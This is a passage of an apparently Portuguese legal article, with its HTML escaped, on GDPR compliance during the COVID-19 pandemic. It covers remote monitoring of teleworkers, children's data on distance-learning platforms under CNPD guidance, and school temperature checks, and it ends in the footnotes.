mantem os poderes de dire\u00e7\u00e3o e de controlo da execu\u00e7\u00e3o da presta\u00e7\u00e3o laboral, mesmo em contexto de teletrabalho. Embora n\u00e3o exista nenhuma disposi\u00e7\u00e3o legal que regule o controlo \u00e0 dist\u00e2ncia, \u00e0 exce\u00e7\u00e3o da possibilidade de o empregador efetuar o controlo atrav\u00e9s do acesso \u00e0 resid\u00eancia do trabalhador, entre as 9h e as 19h, a regra geral de proibi\u00e7\u00e3o de utiliza\u00e7\u00e3o de meios de vigil\u00e2ncia \u00e0 dist\u00e2ncia, com a finalidade de controlar o desempenho profissional do trabalhador, presente no n.\u00ba1, do artigo 20.\u00ba do C\u00f3digo do Trabalho, \u00e9 aplic\u00e1vel ao regime de teletrabalho, adicionado o princ\u00edpio da proporcionalidade e da minimiza\u00e7\u00e3o dos dados pessoais, presente na al\u00ednea c), do n.\u00ba1, do artigo 5.\u00ba do RGPD<a href=\"#_ftn15\" name=\"_ftnref15\">[15]<\/a>.<\/p>\n<p style=\"text-align: justify;\">Neste sentido, n\u00e3o \u00e9 permitido qualquer solu\u00e7\u00e3o tecnol\u00f3gica para controlo \u00e0 dist\u00e2ncia do desempenho do trabalhador, designadamente, <em>softwares<\/em> que, para al\u00e9m do rastreamento do tempo de trabalho e de inatividade, registam as p\u00e1ginas de Internet visitadas, fazem captura de imagem do ambiente de trabalho, controlam o documento em que se est\u00e1 a trabalhar e registam o respetivo tempo gasto em cada tarefa; visto que, ferramentas desta envergadura recolhem dados pessoais dos trabalhadores em excesso, promovem o controlo do trabalho num grau superior \u00e0quele que pode ser legitimamente realizado no contexto da sua presta\u00e7\u00e3o nas instala\u00e7\u00f5es da entidade empregadora, o que viola o princ\u00edpio da minimiza\u00e7\u00e3o dos dados pessoais. Tal como tamb\u00e9m n\u00e3o \u00e9 admiss\u00edvel impor ao trabalhador que mantenha a c\u00e2mara de v\u00eddeo permanentemente ligada. Todavia, o empregador pode controlar a atividade do trabalhador atrav\u00e9s, por exemplo, da fixa\u00e7\u00e3o de objetivos, da cria\u00e7\u00e3o de obriga\u00e7\u00f5es de reporte com periodicidade, marcando, inclusive, reuni\u00f5es em teleconfer\u00eancia, por\u00e9m, n\u00e3o \u00e9 admiss\u00edvel a grava\u00e7\u00e3o de teleconfer\u00eancias entre empregador e os trabalhadores<a href=\"#_ftn16\" name=\"_ftnref16\">[16]<\/a>.<\/p>\n<p style=\"text-align: justify;\">Para finalizar, em rela\u00e7\u00e3o ao registo de tempos de trabalho, a CNPD avan\u00e7a que podem ser utilizadas solu\u00e7\u00f5es tecnol\u00f3gicas espec\u00edficas no regime de teletrabalho, desde que as ferramentas estejam desenhadas de acordo com os princ\u00edpios da privacidade desde a conce\u00e7\u00e3o e por defeito, n\u00e3o recolhendo mais informa\u00e7\u00f5es do que as necess\u00e1rias para a prossecu\u00e7\u00e3o da finalidade que \u00e9 registar os tempos de trabalho, conforme o artigo 25.\u00ba do RGPD. Todavia, se o empregador n\u00e3o tem \u00e0 disposi\u00e7\u00e3o tais ferramentais, pode fixar a obriga\u00e7\u00e3o de envio de email, SMS ou qualquer outro modo similar que lhe permita, para al\u00e9m de controlar a disponibilidade do trabalhador e os tempos de trabalho, demonstrar que foram cumpridos os tempos m\u00e1ximos de trabalho permitido por lei<a href=\"#_ftn17\" name=\"_ftnref17\">[17]<\/a>.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"3\">\n<li><strong>A prote\u00e7\u00e3o de dados das crian\u00e7as atrav\u00e9s da utiliza\u00e7\u00e3o de tecnologias se suporte ao ensino \u00e0 dist\u00e2ncia<\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Na sequ\u00eancia da pandemia provocada pelo novo coronav\u00edrus SARS-CoV-2 e pela doen\u00e7a Covid-19 e com a obriga\u00e7\u00e3o de confinamento e de isolamento social, as escolas foram encerradas, os alunos encontravam-se confinados em casa e muitos estabelecimentos de ensino tiveram que repensar as formas de comunica\u00e7\u00e3o e intera\u00e7\u00e3o entre os alunos e professores de forma a proporcionar aos alunos uma continuidade de ensino e aprendizagem.<\/p>\n<p style=\"text-align: justify;\">Deste modo, recorreu-se ao ensino \u00e0 dist\u00e2ncia como a medida mais vi\u00e1vel para n\u00e3o prejudicar o processo de aprendizagem, o que implica o recurso a plataformas eletr\u00f3nicas de suporte ao ensino n\u00e3o presencial, que podem servir como meio de divulga\u00e7\u00e3o ou partilha de conte\u00fados pedag\u00f3gicos, promover a intera\u00e7\u00e3o ente os utilizadores ou adaptar conte\u00fados pedag\u00f3gicos aos conhecimentos e capacidades de cada aluno. A utiliza\u00e7\u00e3o destas plataformas implica a recolha e o tratamento de um conjunto de dados pessoais dos utilizadores, que s\u00e3o pessoas singular que est\u00e3o identificadas ou s\u00e3o facilmente identific\u00e1veis, o que faz com que estejam sujeitos aos princ\u00edpios e regras de prote\u00e7\u00e3o de dados pessoais<a href=\"#_ftn18\" name=\"_ftnref18\">[18]<\/a>, de acordo com o RGPD.<\/p>\n<p style=\"text-align: justify;\">Numa primeira an\u00e1lise podemos apontar diversos benef\u00edcios do ensino \u00e0 dist\u00e2ncia mas rapidamente constatamos diversos riscos em termos da prote\u00e7\u00e3o de dados pessoais, como o tratamento de dados pessoais relacionados com a intimidade da vida privada dos alunos e dos professores. Durante as aulas ou atividades s\u00e3o recolhidos dados como a imagem dos alunos e professores, do ambiente onde se encontram, as declara\u00e7\u00f5es proferidas por som ou escritas, o n\u00famero de acessos \u00e0 plataforma, horas de acesso \u00e0 plataforma, o n\u00edvel de participa\u00e7\u00e3o na atividade que demonstra o interesse nas atividades propostas ou a capacidade intelectual em responder e solucionar as quest\u00f5es ou problemas que \u00e9 apresentado. Todos estes dados permitem a cria\u00e7\u00e3o de perfis individualizados dos utilizados com caracter\u00edsticas sobre a personalidade, capacidade intelectual, compet\u00eancias profissionais, entre outros.<\/p>\n<p style=\"text-align: justify;\">Todos os riscos apresentados s\u00e3o agravados quando o titular dos dados pessoais \u00e9 uma crian\u00e7a ou jovem, que devido \u00e0 sua idade, desconhecimento e inoc\u00eancia, encontra-se numa posi\u00e7\u00e3o vulner\u00e1vel, por ser incapaz de compreender as consequ\u00eancias negativas de um tratamento de dados na sua vida. N\u00e3o \u00e9 por acaso que o regulamento de prote\u00e7\u00e3o de dados pessoais, obriga os respons\u00e1veis pelo tratamento dos dados pessoais a proteger os direitos e interesses das crian\u00e7as. Nos termos da al\u00ednea f), do n.\u00ba1, do artigo 6.\u00ba do RGPD, o tratamento dos dados pessoais s\u00f3 \u00e9 l\u00edcito se e na medida em que se verifique que o tratamento seja necess\u00e1rio para efeito dos interesses leg\u00edtimos prosseguidos pelo respons\u00e1vel pelo tratamento ou por terceiro, exceto se prevalecerem os interesses ou direitos e liberdades fundamentais do titular que exijam a prote\u00e7\u00e3o dos dados pessoais, em especial se o titular for uma crian\u00e7a.<\/p>\n<p style=\"text-align: justify;\">Segundo o considerando 38 do RGPD, as crian\u00e7as merecem prote\u00e7\u00e3o especial quanto aos dados pessoais, uma vez que podem estar menos cientes dos riscos, consequ\u00eancias e garantias em quest\u00e3o e dos seus direitos relacionados com o tratamento dos dados pessoais. Essa prote\u00e7\u00e3o espec\u00edfica dever\u00e1 aplicar-se, designadamente, \u00e0 utiliza\u00e7\u00e3o de dados pessoais de crian\u00e7as para efeitos de comercializa\u00e7\u00e3o ou d cria\u00e7\u00e3o de perfis de personalidade ou de utilizador, bem como \u00e0 recolha de dados pessoais em rela\u00e7\u00e3o \u00e0s crian\u00e7as aquando da utiliza\u00e7\u00e3o de servi\u00e7os disponibilizados diretamente \u00e0s crian\u00e7as.<\/p>\n<p style=\"text-align: justify;\">No que respeita \u00e0s condi\u00e7\u00f5es aplic\u00e1veis ao consentimento de crian\u00e7as em rela\u00e7\u00e3o aos servi\u00e7os da sociedade da informa\u00e7\u00e3o, atesta o artigo 8.\u00ba do RGPD que no que toca \u00e0 oferta direta de servi\u00e7os da sociedade da informa\u00e7\u00e3o \u00e0s crian\u00e7a, o tratamento dos dados pessoais da crian\u00e7a s\u00f3 \u00e9 l\u00edcito se elas tiverem pelo menos dezasseis anos, caso tenha uma idade inferior, o consentimento deve ser dados ou autorizado pelos titulares das responsabilidades parentais da crian\u00e7a, para que seja considerado um tratamento l\u00edcito.<\/p>\n<p style=\"text-align: justify;\">As crian\u00e7as tem direito a receber do respons\u00e1vel pelo tratamento dos dados pessoais todas as informa\u00e7\u00f5es a respeito do tratamento, de forma concisa, transparente, intelig\u00edvel e de f\u00e1cil acesso, conforme o n.\u00ba1, do artigo 12.\u00ba do RGPD, o respons\u00e1vel deve utilizar uma linguagem clara e simples por se estar a dirigir a crian\u00e7as. As informa\u00e7\u00f5es s\u00e3o prestadas por escrito ou por outros meios, incluindo, por meios eletr\u00f3nicos.<\/p>\n<p style=\"text-align: justify;\">Ainda em mat\u00e9ria da prote\u00e7\u00e3o de dados das crian\u00e7as, compete-nos chamar \u00e0 cola\u00e7\u00e3o a al\u00ednea b), do n.\u00ba1, do artigo 57.\u00ba do RGPD que atesta que a autoridade de controlo deve promover a sensibiliza\u00e7\u00e3o e a compreens\u00e3o do p\u00fablico relativamente aos riscos, \u00e0s regras, \u00e0s garantias e aos direitos associados ao tratamento, sendo que, as atividades especificamente dirigidas \u00e0s crian\u00e7as devem ser alvo de uma aten\u00e7\u00e3o especial. Neste sentido, parece-nos oportuno apresentar os principais riscos para a privacidade das crian\u00e7as elencados pela CNPD e as recomenda\u00e7\u00f5es da mesma autoridade de controlo.<\/p>\n<p style=\"text-align: justify;\">De acordo com as orienta\u00e7\u00f5es para utiliza\u00e7\u00e3o de tecnologias de suporte ao ensino \u00e0 dist\u00e2ncia, a CNPD apresenta uma lista dos principais riscos para a privacidade pela utiliza\u00e7\u00e3o de tecnologias de suporte ao ensino \u00e0 dist\u00e2ncia, que passamos a elencar<a href=\"#_ftn19\" name=\"_ftnref19\">[19]<\/a>: o risco de utiliza\u00e7\u00e3o indevida dos dados transferidos atrav\u00e9s das plataformas por parte dos respons\u00e1veis dos tratamentos, ou por subcontratantes que forne\u00e7am servi\u00e7os dessas plataformas; a falta de transpar\u00eancia relativamente \u00e0 forma de armazenamento, tratamento e eventuais subcontrata\u00e7\u00f5es realizadas por fornecedores de solu\u00e7\u00f5es de <em>e-learning<\/em> assentes em <em>cloud computing<\/em> pode resultar numa perda do controlo dos dados pelos respetivos titulares; o risco de defini\u00e7\u00e3o de perfis ou avalia\u00e7\u00f5es, com base na informa\u00e7\u00e3o observada da atividade dos utilizadores (professores ou alunos), que por sua vez pode gerar o tratamento discriminat\u00f3rio das pessoas a quem dizem respeito os perfis; em especial, o risco decorrente de decis\u00f5es automatizadas assentes em sistemas de intelig\u00eancia artificial que analisem o comportamento e desempenho dos alunos (<em>learning<\/em> <em>analytics<\/em>); a utiliza\u00e7\u00e3o de plataformas de comunica\u00e7\u00e3o que n\u00e3o garantam a seguran\u00e7a das comunica\u00e7\u00f5es ou cuja incorreta configura\u00e7\u00e3o resulte na divulga\u00e7\u00e3o ou acesso n\u00e3o autorizada pode colocar em risco a confidencialidade dos dados; em especial, a partilha de computadores potencia riscos \u00e0 confidencialidade; a aus\u00eancia de uma atribui\u00e7\u00e3o clara das responsabilidades no contexto destas tecnologias promove situa\u00e7\u00f5es em que, nem as institui\u00e7\u00f5es de ensino, nem os fornecedores das plataformas, adotam as medidas adequadas de seguran\u00e7a; o risco de vigil\u00e2ncia \u00e0 dist\u00e2ncia com a finalidade de controlar o desempenho profissional dos professores; e, a aus\u00eancia de um ponto de acesso para o exerc\u00edcio dos direitos pelos titulares dos dados junto das plataformas utilizadas e, com isso, risco de desprote\u00e7\u00e3o dos mesmos.<\/p>\n<p style=\"text-align: justify;\">Foram diversas as recomenda\u00e7\u00f5es apresentadas pela autoridade de controlo, no \u00e2mbito das suas compet\u00eancias, o objetivo prende-se com a salvaguarda dos direitos fundamentais das pessoas que utilizam as tecnologias de suporte ao ensino \u00e0 dist\u00e2ncia, quer sejam os alunos menores ou os professores, para tal \u00e9 catalogado um conjunto de solu\u00e7\u00f5es tecnol\u00f3gicas e medidas adequadas a proteger os dados pessoais e minimizar o impacto sobre os direitos dos titulares dos dados, que passamos a elencar<a href=\"#_ftn20\" name=\"_ftnref20\">[20]<\/a>: as plataformas escolhidas devem ter finalidades bem definidas e compat\u00edveis com o ensino \u00e0 dist\u00e2ncia; as plataformas a utilizar dever\u00e3o recolher e tratar os dados estritamente necess\u00e1rios para as finalidades especificadas, conforme o princ\u00edpio da minimiza\u00e7\u00e3o dos dador, de acordo com a al\u00ednea c), do n.\u00ba1, do artigo 5.\u00ba do RGPD; a ado\u00e7\u00e3o de cada plataforma de suporte ao ensino \u00e0 dist\u00e2ncia deve ser precedida de uma avalia\u00e7\u00e3o de impacto na prote\u00e7\u00e3o de dados, de forma a identificar corretamente os riscos para a privacidade e permitir que sejam adotadas medidas mitigadoras desses riscos, pois, nos termos do n.\u00ba1, do artigo 35.\u00ba do RGPD, quando um certo tipo de tratamento, em particular que utilize novas tecnologias e tendo em conta a sua natureza, \u00e2mbito, contexto e finalidade, for suscet\u00edvel de implicar um elevado risco para os direitos e liberdades das pessoas singulares, o respons\u00e1vel pelo tratamento procede, antes de iniciar o tratamento, a uma avalia\u00e7\u00e3o de impacto das opera\u00e7\u00f5es de tratamento previstas sobre a prote\u00e7\u00e3o de dados pessoais. Esta avalia\u00e7\u00e3o de impacto sobre a prote\u00e7\u00e3o de dados \u00e9 obrigat\u00f3ria em caso de avalia\u00e7\u00e3o sistem\u00e1tica e completa dos aspetos pessoais relacionados com pessoas singulares, baseada no tratamento automatizado, incluindo a defini\u00e7\u00e3o de perfis, sendo com base nela adotadas decis\u00f5es que produzem efeitos jur\u00eddicos relativamente \u00e0 pessoa singular ou que a afetem significativamente de forma similar; e, de opera\u00e7\u00f5es de tratamento em grande escala de categorias especiais de dados, segundo as al\u00edneas a) e b), do n.\u00ba3, do artigo 35.\u00ba do RGPD. A avalia\u00e7\u00e3o pode ser feita pelas entidades que disponibilizam e gerem as plataformas, uma vez que, neste contexto do ensino \u00e0 dist\u00e2ncia, a generalidade dos respons\u00e1veis pelos tratamentos n\u00e3o disp\u00f5e de recursos t\u00e9cnicos para o efeito. \u00c9 necess\u00e1rio ter em conta que as evolu\u00e7\u00f5es tecnol\u00f3gicas e sociais podem representar novos riscos e devem ser consideradas durante o tratamento de dados, podendo exigir avalia\u00e7\u00f5es de impacto subsequentes.<\/p>\n<p style=\"text-align: justify;\">As plataformas devem definir de forma clara as fun\u00e7\u00f5es e responsabilidades dos v\u00e1rios intervenientes no tratamento de dados pessoais, em particular a distribui\u00e7\u00e3o de cargos e responsabilidades entre quem fornece e gere a plataforma e quem decide sobre a sua utiliza\u00e7\u00e3o; as plataformas eleitas devem estar desenvolvidas de forma que os princ\u00edpios de privacidade desde a conce\u00e7\u00e3o sejam aplicados, conforme o n.\u00ba1, do artigo 25.\u00ba do RGPD, pelo que as configura\u00e7\u00f5es de privacidade devem estar predefinidas e a sua desativa\u00e7\u00e3o ser da iniciativa do utilizador; os professores devem ser devidamente informados relativamente \u00e0 utiliza\u00e7\u00e3o das plataformas. Em particular, devem conseguir identificar as corretas configura\u00e7\u00f5es para garantir que n\u00e3o decorrem riscos para a privacidade dos utilizadores, com especial enfoque nos alunos; os estabelecimentos de ensino devem procurar sensibilizar a comunidade escolar para um conjunto de boas pr\u00e1ticas e precau\u00e7\u00f5es a seguir na utiliza\u00e7\u00e3o destas tecnologias; deve estar predefinida a informa\u00e7\u00e3o que \u00e9 conservada; do mesmo modo, devem ser prefixados os prazos da sua conserva\u00e7\u00e3o, de acordo com a al\u00ednea e), do n.\u00ba1, do artigo 5.\u00ba do RGPD; os fornecedores das plataformas de suporte ao ensino \u00e0 dist\u00e2ncia devem cumprir a obriga\u00e7\u00e3o de comunica\u00e7\u00e3o aos estabelecimentos de ensino das viola\u00e7\u00f5es de dados pessoais que ocorram, nos termos do artigo 33.\u00ba e 34.\u00ba do RGPD; sempre que poss\u00edvel, deve optar-se por tecnologias que impliquem a menor exposi\u00e7\u00e3o poss\u00edvel do titular e do seu ambiente familiar, como por exemplo, f\u00f3runs de discuss\u00e3o por oposi\u00e7\u00e3o \u00e0 videoconfer\u00eancia; os estabelecimentos de ensino devem avaliar se disp\u00f5em de meios t\u00e9cnicos para implementar as plataformas de ensino \u00e0 dist\u00e2ncia, para evitar optarem por tecnologias que sobrecarreguem os seus sistemas tecnol\u00f3gicos, tornando-os, por isso, inseguros; a utiliza\u00e7\u00e3o de quaisquer algoritmos de an\u00e1lise de desempenho deve sempre ser criteriosa e feita de forma justa e transparente para com os titulares e apenas se estiver preenchida alguma das condi\u00e7\u00f5es de licitude desse tratamento<a href=\"#_ftn21\" name=\"_ftnref21\">[21]<\/a> <a href=\"#_ftn22\" name=\"_ftnref22\">[22]<\/a>.<\/p>\n<p style=\"text-align: justify;\">Em s\u00edntese, os estabelecimentos de ensino devem recorrer a plataformas adequadas para garantir os sistemas usados no ensino \u00e0 dist\u00e2ncia para que n\u00e3o apresentem riscos para a privacidade dos alunos e dos professores. \u00c9 recomendado que a comunidade escolar siga as boas-pr\u00e1ticas respeitantes \u00e0 prote\u00e7\u00e3o de dados, abstendo-se de tratar dados pessoais que n\u00e3o sejam essenciais para a finalidade pedag\u00f3gica e adotando comportamentos respons\u00e1veis quando disponham de acesso a dados pessoais de alunos e professores<a href=\"#_ftn23\" name=\"_ftnref23\">[23]<\/a>.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"4\">\n<li><strong>Recolha dos dados de sa\u00fade dos alunos<\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Ap\u00f3s o per\u00edodo de confinamento, de isolamento social e de f\u00e9rias escolares, foi divulgada a inten\u00e7\u00e3o de retomar as aulas presenciais. Esta inten\u00e7\u00e3o fez com que alguns estabelecimentos de ensino adotassem medidas de preven\u00e7\u00e3o de cont\u00e1gio do novo coronav\u00edrus SARS-CoV-2 e pela doen\u00e7a Covid-19, como a leitura da temperatura corporal dos alunos. Tal como referido no ponto 2.1., a leitura da temperatura corporal constitui um tratamento de dados pessoais, por estar em causa uma pessoa singular, no caso o aluno, identificado ou identific\u00e1vel. O resultado deste tratamento ter\u00e1 um feito imediato na esfera privada do aluno, impedindo-o ou n\u00e3o de entrar na escola, de assistir ou participar nas aulas presenciais.<\/p>\n<p style=\"text-align: justify;\">Perante a posi\u00e7\u00e3o da maioria dos estabelecimentos de ensino a CNPD veio sensibiliz\u00e1-los para a obriga\u00e7\u00e3o de verificarem e demonstrarem que os tratamentos que realizem cumprem os princ\u00edpios e as regras legais de prote\u00e7\u00e3o dos dados pessoais<a href=\"#_ftn24\" name=\"_ftnref24\">[24]<\/a>, nos termos do n.\u00ba2, do artigo 5.\u00ba do RGPD. Os estabelecimentos devem ter a capacidade de verificar e demonstrar que a sujei\u00e7\u00e3o dos alunos \u00e0 recolha da temperatura corporal \u00e0 entrada da escola tem por base um fundamento de licitude, previsto no n.\u00ba1, do artigo 6.\u00ba e no n.\u00ba2, do artigo 9.\u00ba do RGPD e que respeita os princ\u00edpios de prote\u00e7\u00e3o de dados pessoais, consagrados no n.\u00ba1, do artigo 5.\u00ba do mesmo Regulamento. N\u00e3o podemos ignorar que, \u00e0 semelhan\u00e7a do caso descrito no ponto 2.1., estamos perante o tratamento de sados relativos \u00e0 sa\u00fade dos alunos, cujo tratamento est\u00e1 expressamente proibido no n.\u00ba1, do artigo 9.\u00ba do RGPD e que n\u00e3o basta o interesse leg\u00edtimo do respons\u00e1vel em prevenir o cont\u00e1gio da Covid-19 para que o tratamento seja considerado l\u00edcito, pois, a licitude do tratamento depende da verifica\u00e7\u00e3o de uma das condi\u00e7\u00f5es do n.\u00ba 2 e 3, do artigo 9.\u00ba do RGPD.<\/p>\n<p style=\"text-align: justify;\">Se observarmos o artigo 3.\u00ba-A, do Decreto-Lei n.\u00ba 20-H\/2020, de 14 de Maio, sobre a organiza\u00e7\u00e3o das atividades letivas presenciais, verificamos que na sequencia da retoma das atividades letivas presenciais, as escolhas reorganizam os espa\u00e7os, turmas e hor\u00e1rios escolares, de forma a garantir o cumprimento das orienta\u00e7\u00f5es da Dire\u00e7\u00e3o-Geral da Sa\u00fade, designadamente em mat\u00e9ria de higieniza\u00e7\u00e3o e distanciamento f\u00edsico<a href=\"#_ftn25\" name=\"_ftnref25\">[25]<\/a>. Ou seja, n\u00e3o \u00e9 dada qualquer indica\u00e7\u00e3o sobre a medi\u00e7\u00e3o de temperatura dos alunos nem \u00e9 dado expressamente esse poder ao estabelecimento de ensino. Atendendo \u00e0 Orienta\u00e7\u00e3o n.\u00ba 24\/2020, de\u00a0 8 de Maio sobre o regresso ao regime presencial dos 11.\u00ba e 12.\u00ba anos de escolaridade e dos 2.\u00ba e 3.\u00ba anos dos cursos de dupla certifica\u00e7\u00e3o do ensino secund\u00e1rio verificamos que nem as orienta\u00e7\u00f5es e recomenda\u00e7\u00f5es da Dire\u00e7\u00e3o-Geral da Sa\u00fade, apontam a medi\u00e7\u00e3o de temperatura dos alunos como uma medida adequada e necess\u00e1ria \u00e0 salvaguarda da sa\u00fade p\u00fablica, alertando apenas para o uso obrigat\u00f3rio de m\u00e1scara por todos os alunos, para a higieniza\u00e7\u00e3o das m\u00e3os \u00e0 entrada e sa\u00fade, com solu\u00e7\u00e3o antiss\u00e9ptica de base alco\u00f3lica<a href=\"#_ftn26\" name=\"_ftnref26\">[26]<\/a>.<\/p>\n<p style=\"text-align: justify;\">Os estabelecimentos escolares deve ter obrigatoriamente um plano de conting\u00eancia e atuar de acordo com o mesmo. Os alunos e o pessoal docente e n\u00e3o docente devem-se automonitorizar e caso apresentem algum dos sintomas ou sinais sugestivos da COVID-19, n\u00e3o devem se apresentar na escola para a seguran\u00e7a de todos. Embora os estabelecimentos de ensino tenham autonomia regulamentar, n\u00e3o t\u00eam o poder de restringir direitos, liberdades e garantias quer dos alunos quer do pessoal docente e n\u00e3o docente, s\u00f3 o poderia fazer se existisse uma lei que expressamente o permitisse, coisa que n\u00e3o existe.<\/p>\n<p style=\"text-align: justify;\">Em rela\u00e7\u00e3o ao consentimento dos alunos como fundamentos de licitude para o tratamento de dados de sa\u00fade \u00e9 importante referir que, tal como explicado no ponto 2.1., o consentimento deve ser livre e informado, n\u00e3o deve ser uma manifesta\u00e7\u00e3o de vontade baseada no receio de eventuais repercuss\u00f5es mas sim uma manifesta\u00e7\u00e3o de vontade livre, espec\u00edfica, informada e expl\u00edcita, pela qual o titular dos dados aceita que os seus dados pessoais sejam objeto de tratamento. Isto significa que o consentimento dado pelos alunos ou pelos respetivos encarregados de edu\u00e7\u00e3o s\u00f3 \u00e9 considerada v\u00e1lida caso n\u00e3o exista a amea\u00e7a ou a comunica\u00e7\u00e3o de que a recusa de sujei\u00e7\u00e3o ao procedimento de leitura da temperatura corporal implica a consequ\u00eancia negativa para o aluno de ser impedido de entrar numa sala de aula e de, consequentemente, obter os ensinamentos necess\u00e1rios \u00e0 sua prepara\u00e7\u00e3o para a avalia\u00e7\u00e3o<a href=\"#_ftn27\" name=\"_ftnref27\">[27]<\/a>.<\/p>\n<p style=\"text-align: justify;\">Portanto, em jeito de conclus\u00e3o, neste momento, os estabelecimentos de ensino n\u00e3o t\u00eam legitimidade para proceder ao registo de temperatura dos alunos, visto que, tal procedimento n\u00e3o foi recomendado aos estabelecimentos de ensino pela autoridade nacional de sa\u00fade, que tem a compet\u00eancia para determinar ou recomendar as medidas adequadas e necess\u00e1rias \u00e0 garantia da sa\u00fade p\u00fablica.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"5\">\n<li><strong>Conclus\u00f5es <\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Tendo em conta o atual situa\u00e7\u00e3o pand\u00e9mica, provocada pelo novo coronav\u00edrus, \u00e9 necess\u00e1rio proteger ainda mais os direitos fundamentais de todos os indiv\u00edduos. N\u00e3o \u00e9 toler\u00e1vel que, com base na necessidade de preven\u00e7\u00e3o do cont\u00e1gio, tomem-se medidas que violam os direitos fundamentais, como o direito \u00e0 prote\u00e7\u00e3o de dados dos trabalhadores, em regime de teletrabalho ou dos alunos em regime de ensino \u00e0 dist\u00e2ncia, ou que, de uma forma abusiva, seja registada ou realizada um controlo de temperatura corporal daqueles, sem qualquer fundamental legal, por parte das entidades empregadoras ou dos estabelecimentos de ensino. \u00c9 importante tomar decis\u00f5es que minimizem os danos relacionados com o tratamento de dados pessoais, mais do que isso, \u00e9 imperativo garantir que o tratamento dos dados pessoais \u00e9 l\u00edcito, que tem por base todos os pressupostos de licitude, que o consentimento \u00e9 verdadeiramente livre e informado, para que tenha relev\u00e2ncia jur\u00eddica, que a manifesta\u00e7\u00e3o de vontade dos titulares de dados pessoais n\u00e3o \u00e9 baseada no receio de repercuss\u00f5es negativas, que as recolhas de dados pessoais cumprem todos os princ\u00edpios elencado no Regulamento Geral da Prote\u00e7\u00e3o de Dados, que os direitos dos titulares dos dados pessoais estejam a ser respeitados na \u00edntegra e que todo o tratamento de dados pessoais tem um fundamento legal.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"#_ftnref1\" name=\"_ftn1\">[1]<\/a> Doutoranda em Bio\u00e9tica, Instituto de Bio\u00e9tica, Universidade Cat\u00f3lica Portuguesa do Porto. Doutoranda em Direito com especialidade em Direito Civil, Faculdade de Direito da Universidade de Lisboa. Investigadora na IBEROJUR, na \u00e1rea de Bio\u00e9tica e Direito Biom\u00e9dico e no Instituto de Bio\u00e9tica, Universidade Cat\u00f3lica Portuguesa do Porto. Mestre em Direito, na especialidade de Ci\u00eancias Jur\u00eddico-Processuais, na Universidade Aut\u00f3noma de Lisboa. Mestranda em Bio\u00e9tica, na <em>Universidad del Museo Social Argentino<\/em>, Buenos Aires. P\u00f3s-graduada em Direito da Medicina, pelo Centro de Direito Biom\u00e9dico, Faculdade de Direito da Universidade de Coimbra. P\u00f3s-Graduada em Direito das Energias Renov\u00e1veis, pelo Departamento de Altos Estudos em Direito da Energia, Faculdade de Direito da Universidade de Coimbra. Advogada-estagi\u00e1ria. Licenciada em Direito.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"#_ftnref2\" name=\"_ftn2\">[2]<\/a> Relat\u00f3rio de Situa\u00e7\u00e3o. Dispon\u00edvel em <a href=\"https:\/\/covid19.min-saude.pt\/\">https:\/\/covid19.min-saude.pt\/<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref3\" name=\"_ftn3\">[3]<\/a> Regulamento (EU) 2016\/679 do Parlamento Europeu e do Conselho, de 27 de abril de 2016. Dispon\u00edvel em <a href=\"https:\/\/eur-lex.europa.eu\/legal-content\/PT\/TXT\/HTML\/?uri=CELEX:32016R0679#d1e2012-1-1\">https:\/\/eur-lex.europa.eu\/legal-content\/PT\/TXT\/HTML\/?uri=CELEX:32016R0679#d1e2012-1-1<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref4\" name=\"_ftn4\">[4]<\/a>Orienta\u00e7\u00e3o 006\/2020. Dispon\u00edvel em <a href=\"https:\/\/covid19.min-saude.pt\/wp-content\/uploads\/2020\/03\/Orientac%CC%A7a%CC%83o-006.pdf\">https:\/\/covid19.min-saude.pt\/wp-content\/uploads\/2020\/03\/Orientac%CC%A7a%CC%83o-006.pdf<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref5\" name=\"_ftn5\">[5]<\/a>Orienta\u00e7\u00f5es sobre recolha de dados de sa\u00fade dos trabalhadores. Dispon\u00edvel em <a href=\"https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_recolha_dados_saude_trabalhadores.pdf\">https:\/\/www.cnpd.pt\/home\/orientacoes\/Orientacoes_recolha_dados_saude_trabalhadores.pdf<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref6\" name=\"_ftn6\">[6]<\/a>Requerimento n.\u00ba 19\/XIV. Dispon\u00edvel em <a href=\"http:\/\/app.parlamento.pt\/webutils\/docs\/doc.pdf?path=6148523063446f764c324679595842774f6a63334e7a637664326c75636d56785833426c636d6431626e52686379395953565976636e45784f533134615859744d5756704c6e426b5a673d3d&amp;fich=rq19-xiv-1ei.pdf&amp;Inline=true\">http:\/\/app.parlamento.pt\/webutils\/docs\/doc.pdf?path=6148523063446f764c324679595842774f6a63334e7a637664326c75636d56785833426c636d6431626e52686379395953565976636e45784f533134615859744d5756704c6e426b5a673d3d&amp;fich=rq19-xiv-1ei.pdf&amp;Inline=true<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref7\" name=\"_ftn7\">[7]<\/a> Regulamento (EU) 2016\/679 do Parlamento Europeu e do Conselho, de 27 de abril de 2016. Dispon\u00edvel em <a href=\"https:\/\/eur-lex.europa.eu\/legal-content\/PT\/TXT\/HTML\/?uri=CELEX:32016R0679#d1e2012-1-1\">https:\/\/eur-lex.europa.eu\/legal-content\/PT\/TXT\/HTML\/?uri=CELEX:32016R0679#d1e2012-1-1<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"#_ftnref8\" name=\"_ftn8\">[8]<\/a> Regulamento (EU) 2016\/679 do Parlamento Europeu e do Conselho, de 27 de abril de 2016. Dispon\u00edvel em <a 